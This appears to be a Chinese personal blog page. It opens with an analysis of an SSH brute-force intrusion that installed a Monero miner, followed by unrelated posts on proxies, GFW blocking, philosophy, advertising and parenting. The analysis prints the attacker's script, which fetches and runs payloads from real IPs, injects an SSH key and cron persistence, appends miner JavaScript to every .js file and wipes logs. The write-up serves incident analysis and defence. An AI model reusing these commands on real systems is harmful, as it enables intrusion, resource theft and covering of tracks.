邵珠庆の日记 生命只有一次,你可以用它来做很多伟大的事情–Make the world a little better and easier


236月/180

XMR恶意挖矿案例简析

发布在 邵珠庆

前言

数字货币因其技术去中性化和经济价值等属性,逐渐成为大众关注的焦点,同时通过恶意挖矿获取数字货币是黑灰色产业获取收益的重要途径。本文简析通过蜜罐获取的XMR恶意挖矿事件:攻击者通过爆破SSH获取系统权限,配置root用户免密登录,并下载及执行XMR 挖矿程序,及XMR 网页挖矿程序。XMR挖矿程序耗肉鸡CPU/GPU资源,网页挖矿程序耗访问肉鸡服务器JS 网页的客户端资源 。

自动草稿

一、攻击者获取肉鸡

1)SSH暴力破解

2018年10月11日,攻击者使用恶意IP(223.89.72.8)暴力破解Victim的SSH服务成功,获取系统账号权限。

2)关闭Victim的防火墙

通过暴力破解获得的账号登录Victim并,进入工作目录/tmp,并尝试关闭主机防火墙。

root@victim:~#cd /tmp
root@victim:~#/etc/init.d/iptables stop
root@victim:~#service iptables stop
root@victim:~#SuSefirewall2 stop
root@victim:~#reSuSefirewall2 stop

3)下载恶意脚本

命令Victim从Malware Server(140.143.35.89:43768)下载恶意文件shz.sh:

root@victim:/tmp#wget http://140.143.35.89:43768/shz.sh
[4l--2018-10-11 19:07:34--  http://140.143.35.89:43768/shz.sh
Connecting to 140.143.35.89:43768... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7470 (7K) [application/octet-stream]
Saving to: `/tmp/shz.sh\'


58% [======================>                ] 4,380        41K/s  eta 0s
100%[======================================>] 7,470        41K/s

2018-10-* *:*:* (41 KB/s) - `/tmp/shz.sh\' saved [7470/7470]

二、执行恶意脚本

获取Victim肉鸡权限及下载恶意脚本后,命令Victim执行/tmp/shz.sh,下面简析shz.sh的恶意行为。

1)开始执行

root@victim:/tmp#shshz.sh&

2)基本配置

获取Victim的定时Crontab定时任务文件及内容,SSH登录的公钥,更改下载文件命令及变量定义等基本配置。

#!/bin/sh
#Crontab定时任务(crontab -e)
crondir=\'/var/spool/cron/\'"$USER"
cont=`cat ${crondir}`
#SSH登录公钥
ssht=`cat /root/.ssh/authorized_keys`
#自定义变量
echo 1 > /etc/gmbpr
rtdir="/etc/gmbpr"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/url"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/get"
#更改命令名称
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/curl /usr/bin/url

3)判断账号权限(特殊权限)

如果文件/etc/gmbpr存在,即被暴力破解的账号有/etc写权限,一般root。设置工作目录为/etc:

if [ -f "$rtdir" ]

3.1 定时任务 无密登录

#将恶意脚本/etc/shz.sh加入系统crontab定时任务中
[[ $cont =~ "shz.sh" ]] || echo "* * * * * sh /etc/shz.sh >/dev/null 2>&1" >> ${crondir}
#将攻击者的SSH登录公钥加入authorized_key中,用于无密登录ssh
[[ $ssht =~ "xvsRtqHLMWoh" ]] || echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfi
PAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL Kn 7GgxvsRtqH
LMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952 1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3 KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8Ybq
gunZImJt uLljgpP0ZHd1wGz QSHEd Administrator@Guess_me" >> /root/.ssh/authorized_keys

3.2 恶意挖矿的配置文件

如果配置文件/etc/com.json不存在,则从http://140.143.35.89:43768/com.json下载至/etc/com.json。

cfg="/etc/com.json"
if [ -f "$cfg" ]
    then
        echo "exists config"
    else
        if [ -f "$bbdir" ]
        then
                curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/com.json > /et
c/com.json
        elif [ -f "$bbdira" ]
        then
                url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/com.json > /etc
/com.json
        elif [ -f "$ccdir" ]
        then
                wget --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/com.json
        elif [ -f "$ccdira" ]
        then
                get --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/com.json
        fi
 fi

3.3 ELF挖矿主程序

从http://zjgw-1256891197.cos.ap-beijing.myqcloud.com下载恶意挖矿主程序zjgw至/etc。zjgw为elf格式的二进制文件。

if [ -f "$bbdir" ]
    then
        curl --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zjgw > /etc/zjgw
    elif [ -f "$bbdira" ]
    then
        url --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zjgw > /etc/zjgw    
    elif [ -f "$ccdir" ]
    then
        wget --timeout=10 --tries=100 -P /etc http://dwz.cn/hqCK3WKx
    elif [ -f "$ccdira" ]
    then
        get --timeout=10 --tries=100 -P /etc http://dwz.cn/hqCK3WKx
fi

3.4 运行恶意挖矿程序

挖矿程序zjgw 配置文件com.json:

chmod 777 zjgw
#com.json配置文件中将unknow替换成字符${ip}
sed -i "s/unknow/${ip}/g" com.json
 sleep 5s
#执行挖矿程序
./zjgw --config=com.json
#清除命令日志痕迹
history -c
echo > /root/.bash_history

3.5 下载并运行shz.sh脚本文件

shdir=\'/etc/shz.sh\'
if [ -f "$shdir" ]
    then
        echo "exists shell"
    else
        if [ -f "$bbdir" ]
        then
            curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /etc/shz.sh
        elif [ -f "$bbdira" ]
        then
            url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /etc/shz.sh
        elif [ -f "$ccdir" ]
        then
            wget --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/shz.sh
        elif [ -f "$ccdira" ]
        then
            get --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/shz.sh
        fi
        sh /etc/shz.sh
fi

4)判断账号权限(普通权限)

如果文件/etc/gmbpr不存在,即被暴力破解的账号是常规用户权限,添加启动脚本至Crontab定时任务中。设置工作目录为/tmp:

[[ $cont =~ "shz.sh" ]] || echo "* * * * * sh /tmp/shz.sh >/dev/null 2>&1" >> ${crondir}

4.1)下载配置文件com.json至/tmp

4.2)下载挖矿主程序zjgw至/tmp

4.3)运行恶意挖矿程序 配置文件(同3.4)

4.4)下载并运行恶意脚本/tmp/shz.sh(同3.5)

5)Monero Javascript网页挖矿

在Victim全盘查找js文件,并插入网页挖矿JS脚本document.write(‘’);

find / -name \'*.js\'|xargs grep -L f4ce9|xargs sed -i \'$a\document.write\(\'\\'\\\>OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"\)\\\'\)\;

6)清除痕迹

攻击者清除攻击日志痕迹

echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history

三、执行ELF挖矿程序

1)挖矿配置文件com.json

通过配置文件查看到XMR数字货币的挖矿算法、挖矿地址和钱包地址等:

#XMR门罗币的主要共识机制(挖矿算法):cryptonight 

    "algo": "cryptonight", 

    "api": { 

        "port": 0, 

        "access-token": null, 

        "worker-id": null, 

        "ipv6": false, 

        "restricted": true 

    }, 

    "av": 0, 

    "background": true, 

    "colors": true, 

    "cpu-priority": 5, 

    "donate-level": 1, 

    "log-file": null, 

    "max-cpu-usage": 90, 

    "pools": [ 

        { 

#挖矿地址 

            "url": "stratum tcp://xmr.f2pool.com:13531", 

#钱包地址 

            "user":  

"46j2hc8eJbZZST8L4cpmLdjKKvWnggQVt9HRLYHsCKHUZbuok15X93ag9djxnt2mdpdJPRCsvuHzm92iahdpBxZa3FbBovX.unknow",

            "pass": "x", 

            "keepalive": true, 

            "nicehash": false, 

            "variant": -1 

        } 

    ], 

    "print-time": 60, 

    "retries": 99999, 

    "retry-pause": 5, 

    "safe": false, 

    "syslog": false, 

}

2)挖矿主程序zjgw

zjgw为64为的elf二进制文件,VirusTal检出功能包含了挖矿功能。

自动草稿

3)矿池及收益

截止当前,攻击者恶意ELF程序使用f2pool矿池,上述钱包地址相关收益信息:

(1)164矿工正在线进行挖矿;

(2)共捕获254矿工;

(3)此钱包地址总收益4.7XMR,按当前市场价格736RMB价格计算,约收获3459RMB

(4)这些矿工,可能很多是攻击者捕获的肉鸡;攻击者也可能还有更多其他的钱包地址及肉鸡矿工即进行获益。

自动草稿

四、Monero Javascript网页挖矿

自动草稿

在Victim全盘查找js文件,并插入网页挖矿JS脚本document.write(‘’);

1)curl -I http://t.cn/EvlonFh;

短网址指向https://xmr.omine.org/assets/v7.js

HTTP/1.1 302 Found
Date: Mon, 15 Oct 2018 08:02:12 GMT
Content-Type: text/html;charset=UTF-8
Content-Length: 216
Connection: keep-alive
Set-Cookie: aliyungf_tc=AQAAAN65sGSyOQcAihDut35iYAxQi2Sj; Path=/; HttpOnly
Server: nginx
Location: https://xmr.omine.org/assets/v7.js

2)curl https://xmr.omine.org/assets/v7.js

javascript脚本文件,包含了矿池地址wss://xmr.ominie.org:8181:

自动草稿

3)omine矿池

自动草稿

4)隐藏后的钱包地址ID

OMINEId("e02cf4ce91284dab9bc3fc4cc2a65e28","-1")

自动草稿

5)收益

假设攻击者的JS网页挖矿与ELF程序挖矿使用的同一个钱包地址:46j2hc8eJbZZST8L4cpmLdjKKvWnggQVt9HRLYHsCKHUZbuok15X93ag9djxnt2mdpdJPRCsvuHzm92iahdpBxZa3FbBovX ,此处收益相对较少,有0.037个XMR。

自动草稿

五、小结

攻击者通过SSH暴力破解获取系统账号后,一方面通过下载及运行ELF二进制挖矿程序,利用系统CPU/GPU资源进行XMR(门罗币)挖矿;另一方面,通过在系统里面的JS文件中插入JS网页挖矿的代码,利用远程访问系统JS网页的客户端资源进行XMR网页挖矿。建议措施:

(1)账号加固;

(2)系统资源、网络、进程监控;

(3)检查系统是否有恶意资源滥用情况(ELF挖矿程序);

(4)检查系统是否有恶意JS网页挖矿脚本(网页挖矿脚本);

(5)其他

31月/180

透明代理、匿名代理、混淆代理、高匿代理区别?

发布在 邵珠庆

这4种代理,主要是在代理服务器端的配置不同,导致其向目标地址发送请求时,REMOTE_ADDR, HTTP_VIA,HTTP_X_FORWARDED_FOR三个变量不同。

1、透明代理(Transparent Proxy)

  • REMOTE_ADDR = Proxy IP
  • HTTP_VIA = Proxy IP
  • HTTP_X_FORWARDED_FOR = Your IP

透明代理虽然可以直接“隐藏”你的IP地址,但是还是可以从HTTP_X_FORWARDED_FOR来查到你是谁。

2、匿名代理(Anonymous Proxy)

  • REMOTE_ADDR = proxy IP
  • HTTP_VIA = proxy IP
  • HTTP_X_FORWARDED_FOR = proxy IP

匿名代理比透明代理进步了一点:别人只能知道你用了代理,无法知道你是谁。

还有一种比纯匿名代理更先进一点的:混淆代理,见下节。

3、混淆代理(Distorting Proxies)

  • REMOTE_ADDR = Proxy IP
  • HTTP_VIA = Proxy IP
  • HTTP_X_FORWARDED_FOR = Random IP address

如上,与匿名代理相同,如果使用了混淆代理,别人还是能知道你在用代理,但是会得到一个假的IP地址,伪装的更逼真:-)

4、高匿代理(Elite proxy或High Anonymity Proxy)

  • REMOTE_ADDR = Proxy IP
  • HTTP_VIA = not determined
  • HTTP_X_FORWARDED_FOR = not determined

可以看出来,高匿代理让别人根本无法发现你是在用代理,所以是最好的选择。

1210月/170

西方思想史谱系图

发布在 邵珠庆

古希腊罗马哲学

古希腊罗马哲学包括自然哲学、形而上学和伦理哲学三个阶段,为西方哲学的理性思辨和形而上学打下了传统根基。它提出了逻各斯、存在、实体等成为西方哲学的经典命题,而柏拉图和亚里士多德关于共相性质的争论开启了中世纪基督教哲学关于唯名论和实在论的争论。

西方思想史谱系图

中世纪基督教哲学

西罗马帝国崩溃后,基督教成为西欧不可侵犯的绝对意识形态,哲学成为“神学的婢女”,被基督教信仰的浓重阴影所笼罩。从教父哲学(柏拉图-奥古斯丁体系)到经院哲学(亚里士多德-阿奎那体系)的过渡反应了希腊罗马理性精神的复苏,而唯名论和实在论的对立为近代理性主义和经验论的兴起开辟了道路。

西方思想史谱系图

近代早期西欧哲学

近代早期西欧哲学从文艺复兴和宗教改革运动开始,演化出欧陆唯理论同不列颠经验论的对立,其核心是理性反思和对经验(外在或内在)的重视。唯理论演变成莱布尼茨-沃尔夫体系中的独断论,而经验论则在休谟那里成为彻底的怀疑主义,这为法兰西启蒙思想和德意志古典哲学的出现埋下了伏笔。

西方思想史谱系图

法兰西启蒙思想和唯物主义

18世纪法国哲学包括法国自然神论和唯物主义两块,探讨的核心问题是人与自然的关系,理论上则表现为思维和存在的关系。法国自然神论奠定了西方政治学的基础,而激进的卢梭则引导了后世批判哲学(马克思和尼采)的出现。法国唯物主义者否定自由意志,但推崇人的理性,使理性主义成为法国哲学鲜明的特点。

西方思想史谱系图

德意志古典哲学

18C末19C初,德意志古典哲学体系的出现标志着传统西方哲学的最高成就。它将考察重点转向主体与客体的关系,实现了西方哲学继亚里士多德形而上学体系之后的第二次飞跃。康德通过对自在之物和现象的严格区分,发展出认识论的先验自我意识统摄机能和道德实践领域的纯粹理性,以及沟通两者的判断力批判。黑格尔通过辩证法三段论将整个世界容纳在绝对精神从自在状态过渡到自为状态,最终达成绝对理性自我意识的宏大历史过程。因此,黑格尔成为最后一个形而上学大体系,并引发费尔巴哈和马克思对其的反思。

西方思想史谱系图

过渡时期

19C中后期,形而上学和理性主义的传统西方哲学走向终结,导致了向现代西哲的过渡时期。

西方思想史谱系图

168月/170

阿里这次的地铁广告,刺穿了无数创业者的心

发布在 邵珠庆

最近被刷屏的文案特别多,但走心的却很少……

阿里钉钉最近在客村站投放了一组主题为“创业很苦,坚持很酷”的地铁广告,将26个创业故事做成了一篇微信推文,因排版怪异引发网友吐槽:治好了我多年的颈椎病……

先看我个人比较喜欢的几句:

“因为理想,成了兄弟,

因为钱,成了仇敌。”

“28岁,头发白了一半。”

“感觉自己这次会成功,

这种感觉已经是第六次。”

“陪聊陪酒赔笑,赔本。”

“怕配不上曾经的梦想,也怕辜负了所受的苦难。”

“为了想做的事儿,去做不想做的事。”

“在车里哭完,笑着走进办公室。”

“刚来三天的新同事提离职,

理由是他也决定去创业。”

“亏了钱,失去了健康。”

这样的文案总共有26组,句句扎心,有创过业的人多少都感同身受:

“没有过不去的坎儿,只有过不完的坎儿。”

“不能倒下。不想到此为止。”

“40度高烧,呆在车里,出了一身汗,然后去提案。”

“下一次,不会再为了钱低头。”

“忍受孤独”

“没有安全感的人,却要让大家有安全感”

端端正正广告的已经没人看了,创意方面得想法吸引别人的注意才行。

微信推文式广告还是第一次见:

为这张图片配一句文字:

我只是一个过客……

由此联想到钉钉去年还攻入腾讯总部楼下地铁大做撕逼广告,现在花钱买下地铁广告大方采用微信公号排版,姿态可以说是发生了180度的大转变。

这样的转变,并不意外。从策略上来说,创业产品在初期阶段,为了能快速建立差异化的认知,往往会采取比较激进的手段,而随着产品用户数越来越大,影响力越来越强,也需要照顾品牌的长线发展,注重其在公众的口碑。

世界上的公司分两种:第一种是酷公司

他们认为适应时代酷,而保持老样子不酷;拥有不酷,与更多人共享非常酷;征服者不酷,守护者很酷。

是无数个这样的酷公司,造就了今天这个酷时代……

除此以外的,我们只能称之为“其它公司”,酷公司各不相同,但他们都选择了同一种更酷的工作方式:酷公司,用钉钉。

“为了做社交软件,放弃社交。”

“只要风停了,什么猪都能摔死。”

“通宵练习了10个版本的BP,没有见到1个投资人。”

“把房子卖了,把工资发了。”

“每天一睁眼要养50个家。”

也许在未来,说不定我们还会看到有“中国酷公司”、“中国酷员工”、“中国酷老板”、“中国酷项目”、“中国酷办公室”这类的榜单被释放出来。

但“酷”的背后是互联网的协作、平等、分享的精神,以后如果以酷的形式随波逐流的话,不知道会有多少企业会买单。

针对此次阿里钉钉的广告,网友有话说:

可能钉钉这次的广告针对人群不一样,所以或多或少有一些负面信息。但是此次钉钉的主题就是为创业者所做,作为一个局外人,我只能说文案很符合创业者的心声。

同时作为不是创业者的我,看完文案都有种似曾相似的感触~

对此,你怎么看?

28月/170

记一次对 G-F-W 防火墙的探究

发布在 邵珠庆

突然朋友传了一个数据包给我,说他的openVPN连不上了。

抓包发现刚一握手结束便收到了一个RST包,导致一直连不上。我打开数据包,发现果然如此:

可以看到,三次握手刚完毕,客户端发送第一个控制消息到服务端,便收到了服务端发送的RST数据包,一直如此。

应该是有中间设备搞的鬼,于是我又到服务器端抓取了些数据:

果然的,服务器也收到了RST数据包,于是两者的连接便断开了。

再仔细分析下客户端的RST数据包:

IP包的序号是12345,TTL是120。再看正常的数据包:

IP包的序号是0,TTL是46。很明显RST数据包的TTL比正常的要大,而且每次RST的IP序号都是12345,应该是GFW没错了。

正常情况下初始的TTL是64,正常收到的TTL是46,跳数是15,说明我的电脑到服务器之间经过了15个路由设备。

为了证明这点,查看服务端收到的正常数据包:

服务器收到的TTL是50,因为我的电脑还要经过内部的一个路由器,所以TTL差了1。

同时查看服务端RST数据包的TTL值:

TTL值为117,因此得到的信息如下:

客户端->服务器:15、GWF->服务器:117、GFW->客户端:120。

假设GFW每次发送的TTL值都固定不变且为x,则有:x-117+x-120=15;得x=126。

所以GFW和我的电脑的跳数应该是6:

图示的应该就是GFW的位置。

接下来问题来了,她是怎么识别出openVPN流量的呢?

我猜测是根据数据包的特征来识别的,那么我单独发送单个数据包,应该也会返回RST数据,根据这一理论,我用scapy发送了单个的数据包,内容和三次握手之后客户端发送的第一个数据包一样,但结果是失望的,并没有收到RST数据包。

于是进一步猜测,TCP连接之后再发送相应的数据包,应该能收到RST,于是又根据这一理论,写下了如下代码:

from scapy.all import *
vpn_payload = "\x00\x0e\x38\x24\x5d\x21\xaa\x3a\x11\x2f\xb3\x00\x00\x00\x00\x00"
conf.verb = 0
vpn_s = IP(dst="yovey.me",id=12345)/TCP(sport=58620,dport=1194,flags="S",seq=0)
print "sending syn"
vpn_s.show()
ans0,unans0 = sr(vpn_s)
print "recv packet,seq = ",ans0[0][1].seq
ans0[0][1].show()
vpn_sa = IP(dst="yovey.me",id=12346)/TCP(sport=58620,dport=1194,flags="A",seq=1,ack=ans0[0][1].seq+1)
print "sending ack"
vpn_sa.show()
ans1,unasn1 = sr(vpn_sa,timeout=1)
vpn = IP(dst="yovey.me",id=12347)/TCP(sport=58620,dport=1194,flags="PA",seq=1,ack=ans0[0][1].seq+1)/vpn_payload
print "sending vpn payload"
ans2,unasn2 = sr(vpn)
ans2[0][1].show()

运行程序,还是没有收到RST数据包。

于是我打开tcpdump,抓取了发包过程的数据包,发现了问题:

在服务器返回syn+ack之后,客户端居然发送了RST到服务器,导致连接断开。经过短暂的思考,才明白客户端网卡在收到来自服务器的syn+ack之后,发现并没有进程在监听该数据包的端口,于是发送了RST数据包给服务器。

必须让客户端不发送RST数据包才行,想到可以通过iptable来过滤数据包,于是在iptable中添加如下规则:

iptables -t filter -A OUTPUT -p tcp --tcp-flags RST RST -j DROP

再运行程序,一切都在计划之中:

还是熟悉的IP序号,还是熟悉的TTL,看来GFW已经可以根据连接来识别流量了,真是下了血本啊。

想到建立连接,我立马联想到不用建立连接的UDP,是不是UDP数据只需要根据单个数据包就能识别了?于是将服务器配置成UDP模式,再次打开openVPN,特么的居然连上了!于是问题解决了,将配置改成UDP就能正常连接了。

28月/170

介绍一下GFW的工作原理和封锁技术

发布在 邵珠庆

GFW是Great Fire Wall的缩写,即“长城防火墙”。这个工程由若干个部分组成,实现不同功能。长城防火墙主要指TG监控和过滤互联网内容的软硬件系统,由服务器和路由器等设备,加上相关的应用程序所构成。

首先,需要强调的是,由于中国网络审查广泛,中国国内含有“不合适”内容的的网站,会受到政府直接的行政干预,被要求自我审查、自我监管,乃至关闭,所以GFW的主要作用在于分析和过滤中国境内外网络的资讯互相访问。

GFW对网络内容的过滤和分析是双向的,GFW不仅针对国内读者访问中国境外的网站进行干扰,也干扰国外读者访问主机在中国大陆的网站。

一 关键字过滤阻断

关键字过滤系统。此系统能够从出口网关收集分析信息,过滤、嗅探指定的关键字。主要针对HTTP的默认端口:80端口,因为HTTP传播的内容是明文的内容,没有经过加密,而GFW是一个IDS(Intrusion detection system)。普通的关键词如果出现在HTTP请求报文的头部(如“Host: www.youtube.com”)时,则会马上伪装成对方向连接两端的计算机发送RST包(reset)干扰两者正常的TCP连接,进而使请求的内容无法继续查看。如果GFW在数据流中发现了特殊的内文关键词(如轮子,达赖等)时,其也会试图打断当前的连接,从而有时会出现网页开启一部分后突然停止的情况。在任何阻断发生后,一般在随后的90秒内同一IP地址均无法浏览对应IP地址相同端口上的内容。

二 IP地址封锁

IP地址封锁是GFW通过路由器来控制的,在通往国外的最后一个网关上加上一条伪造的路由规则,导致通往某些被屏蔽的网站的所有IP数据包无法到达。路由器的正常工作方式是学习别的路由器广播的路由规则,遇到符合已知的IP转发规则的数据包,则按已经规则发送,遇到未知规则IP的数据,则转发到上一级网关。

而GFW对于境外(中国大陆以外)的XX网站会采取独立IP封锁技术。然而部分XX网站使用的是由虚拟主机服务提供商提供的多域名、单(同)IP的主机托管服务,这就会造成了封禁某个IP地址,就会造成所有使用该服务提供商服务的其它使用相同IP地址服务器的网站用户一同遭殃,就算是正常的网站,也不能幸免。其中的内容可能并无不当之处,但也不能在中国大陆正常访问。现在GFW通常会将包含XX信息的网站或网页的URL加入关键字过滤系统,并可以防止民众透过普通海外HTTP代理服务器进行访问。

三 特定端口封锁

GFW会丢弃特定IP地址上特定端口的所有数据包,使该IP地址上服务器的部分功能(如SSH的22、VPN的1723或SSL的443端口等)无法在中国大陆境内正常使用。

在中国移动、中国联通等部分ISP(手机IP段),所有的PPTP类型的VPN都被封锁。

2011年3月起,GFW开始对Google部分服务器的IP地址实施自动封锁(按时间段)某些端口,按时段对www.google.com(用户登录所有Google服务时需此域名加密验证)和mail.google.com的几十个IP地址的443端口实施自动封锁,具体是每10或15分钟可以连通,接着断开,10或15分钟后再连通,再断开,如此循环,令中国大陆用户和Google主机之间的连接出现间歇性中断,使其各项服务出现问题。GFW这样的封锁手法很高明,因为Gmail并非被完全阻断,这令问题看上去好像出自Google本身。这就是你们认为Google抽风的原因。

四 SSL连接阻断

GFW会阻断特定网站的SSL加密连接,方法是通过伪装成对方向连接两端的计算机发送RST包(RESET)干扰两者间正常的TCP连接,进而打断与特定IP地址之间的SSL(HTTPS,443端口)握手(如Gmail、Google文件、Google网上论坛等的SSL加密连接),从而导致SSL连接失败。

当然由于SSL本身的特点,这并不意味着与网站传输的内容可被破译。

五 DNS劫持和污染

GFW主要采用DNS劫持和污染技术,使用Cisco提供的IDS系统来进行域名劫持,防止访问被过滤的网站,2002年Google被封锁期间其域名就被劫持到百度。中国部分ISP也会通过此技术插入广告。

对于含有多个IP地址或经常变更IP地址逃避封锁的域名,GFW通常会使用此方法进行封锁。具体方法是当用户向DNS服务器提交域名请求时,DNS返回虚假(或不解析)的IP地址。

全球一共有13组根域名服务器(Root Server),目前中国大陆有F、I这2个根域DNS镜像,但现在均已因为多次DNS污染外国网络,而被断开与国际互联网的连接。

DNS劫持和污染是针对某些网站的最严重的干扰。

干扰的方式有两种:

一种是通过网络服务提供商(Internet Service Provider)提供的DNS服务器进行DNS欺骗,当人们访问某个网站时,需要要把域名转换为一个IP地址,DNS服务器负责将域名转换为IP地址,中国大陆的ISP接受通信管理局的屏蔽网站的指令后在DNS服务器里加入某些特定域名的虚假记录,当使用此DNS服务器的网络用户访问此特定网站时,DNS服务便给出虚假的IP地址,导致访问网站失败,甚至返回ISP运营商提供的出错页面和广告页面。

另一种是GFW在DNS查询使用的UDP的53端口上根据blacklist进行过滤,遇到通往国外的使用UDP53端口进行查询的DNS请求,就返回一个虚假的IP地址。

277月/170

时间和金钱的思考

发布在 邵珠庆

富人会寻找最卓越的、合适的人帮助他们完成目标中的各项任务,花钱请最专业的、效率最高的人帮助他们完成他们并不最擅长的事。比如,管理,投资,创业,教育等等。

穷人倾向于用最省钱但也可能是最费力的方法完成一件他们也许并不擅长的事。

为什么?

1、)哪种资源越稀缺,认知就越可能过度关注那种资源,而导致判断力下降,决策质量下降。

穷人缺钱,容易过于看中钱,而忽略其他比钱更重要的,同样是可利用的资源(人,思维,创意,文化等等)。

2、)所具备的资源组合会一定程度限制目标设定和战略计划,以及特殊能力的发展。

穷人缺钱,就难免因为缺钱而思维受限,思路狭隘,也许有点小钱的就会以赚点小钱作为目标,又也许固化了穷的习性和习惯,难以进入追求理想和财富的上升循环。

3、)文化、教育背景塑造的思维方式不同,经历与成长方式的不同,价值判断、认知体系不同,态度与行为自然不同。

人生对每个人都是开放的,并非富是终极目标,穷也未必是可耻的,因为穷富不过是相对的概念,不代表具体的处境。

只能说很多表面现象(譬如富人为何富,穷人为何穷)都有独特的起源,那起源受一个人的文化、教育背景的影响,更根植于个人的经历、认知和成长,最终个人所得及个人境遇,不过是每个人追求理想人生的副产品。

许多年轻人奋斗的唯一目标,就是早日实现财务自由。但是财务自由的本质并不是钱多到花不完,而是终于可以从每天靠消耗时间来换取金钱这个阶段抽离出来。又或者说,实现财务自由的人,是找到了一个渠道,并在这个渠道上建立了一个相对完善的系统,这个系统在离开了他本人之后,依旧可以正常运转并获得收益。从而,解放了他的生命和时间。这有点像是发现了一口井,然后找来几个人负责打水卖水,然后给这几个打水的人发放收入一样。

有一个悖论其实非常有趣,就是说我们在谈论收入时,往往没有谈及时间投入。比如说A收入是五千,但是每天只需要工作一两个小时;而B收入是一万,但是每天却需要工作十个小时以上。从绝对值上,B收入是A的一倍,但是从性价比上,B简直是太不划算了。因为人的生命和时间是无价的,而B却把它卖的如此廉价。更可惜的是,每天的时间又是固定的,如果按照B这样用生命换钱,那么他的一生就会陷入一个怪圈:像机器一样运转,损耗自己,换取收入。

对于金钱的获取和支配,对于所有普通人而言,都是与常识相反的逻辑怪圈。如果不能早些顿悟并跳出圈外,那么终其一生,都将被碌碌无为所困扰。

217月/170

孩子注意力训练

发布在 邵珠庆

孩子如果注意力越集中,学习效果越好。因为当孩子在专心学习的时候,大脑就会把这些新的信息映射到已知的内容上,从而构建新的神经联结。反之如果孩子走神了,就记不住正在学习知识,导致孩子学习效果不好成绩差。

所以脑电训练网提醒家长,孩子注意力不集中不仅仅是只影响学习而已。比如人际关系紧张、学校纪律难约束、自理自立能力差、自信心不足等等都会受到影响的...

那么,到底该如何解决孩子注意力不集中这个大难题?家长可以让孩子这样训练:

1. 仔细看。仔细看的游戏是为了训练孩子的视觉注意。仔细看的游戏包括,拼图游戏,例如动物拼图,水果拼图,人物拼图,地图等。这样的拼图游戏需要宝宝耐心参与,参与组合。家长可以根据幼儿的年龄阶段选择适合的拼图,2~3岁的拼图最好在4片之内,3~4岁的最好在8片之内,4~6可以在12片左右。

2. 仔细听。仔细听的游戏是为了训练孩子的听觉注意。仔细听的游戏,例如传话游戏。家长可以玩这个小游戏,可以由妈妈说一句话,传给爸爸,再传给宝宝,最后,让妈妈和宝宝说一说自己听到的。这个游戏非常有趣,而且需要在耳边低语,促进宝宝注意力的发展非常有效。

3. 抑制训练。抑制训练的游戏是为了抑制孩子的多动冲动的表现。抑制训练的游戏,包括顶板游戏,头顶顶一个塑料板,脚尖贴脚跟的从规定的地方走到另一个地方,中途板不能掉。

4. 运动训练。运动训练包括肢体大运动和手部精细运动,是为了锻炼孩子骨骼肌肉的发展和手指的灵活度的。肢体大运动的包括跑跳钻爬,例如单脚跳,双脚跳,老鹰捉小鸡等等;手部精细运动,包括串珠子,捏橡皮泥,折纸,做手工等等。

217月/170

可以不优秀但不能没教养

发布在 邵珠庆

一个孩子的教养是成功的基本因素,而教养是从小就要开始培养的,是父母的家庭教育方式影响的。因此,在孩子成长的每一步,都需要关注孩子的教养问题。

当你带着孩子出门,给孩子带上小书包、小水壶的时候,别忘了给他带上教养。有教养的人在哪里都会受到尊重,而没教养的样子,真的很丑。

1、这个故事告诉你,孩子为何会缺乏教养

周末,几个朋友在饭店吃饭,旁边一桌坐着两个家庭聚餐,都是六七岁的孩子,一会拿筷子敲碗制造噪音,一会满店乱跑乱追逐打闹。

周围的人因为影响了进餐而纷纷侧目,他们的父母都忙着聊着家长里短,并不在意。

服务员上菜时,其中一个孩子将菜汤泼到服务员身上,事后坦白就是为了好玩,服务员对此非常生气。

这时孩子的母亲不仅没有歉意反而埋怨道:“哎呦,你下班洗洗不就行了么,折磨大人了怎么还跟孩子一般见识”,转头对孩子说,“你不好好学习将来就像她一样,当个服务员。”

这位母亲出门之前,肯定忘了给孩子带上教养,因为她本身也没有这样的东西。

在缺乏教养的人身上,都有着一样的共同点:以自我为中心,粗暴当作勇敢、愚昧当作学识、可笑当作幽默,口无遮拦当作随性直爽。

2、教养决定了一个人飞得远不远

辰辰班上有个同学,是一个残疾的小男孩,天生并不灵敏。除了身体上的缺陷之外,似乎大脑的发育和接受新事物的能力也比较弱。他每一次考试都是班级最后几名。

可是,他却是班上人缘最好的。在学校里,他有很多朋友,外出秋游的时候,总是有很多同学争先恐后想帮他推轮椅,每到他生日,有很多同学给他礼物,他们邀请他去参加同学的生日聚会。为什么?

他对谁都很礼貌

他懂得爱人也爱己,他懂得接受时礼貌,拒绝时也彬彬有礼。

他为人不贪心

不贪心别人对他的爱,不贪心别人的玩具,他不会觉得自己残疾而应该享受更多的爱,他常常一跛一跛地去集体活动,和那些快迟到了的同学说,没事,我自己慢慢过来就成。他知道自己应该得多少,也知道别人应该得多少。

他懂得分享

每次母亲带给他的喜糖,他都会带到学校,给同学吃,到并不一定有多昂贵,也并不会好吃,但是分享中建立的感情却难能可贵。

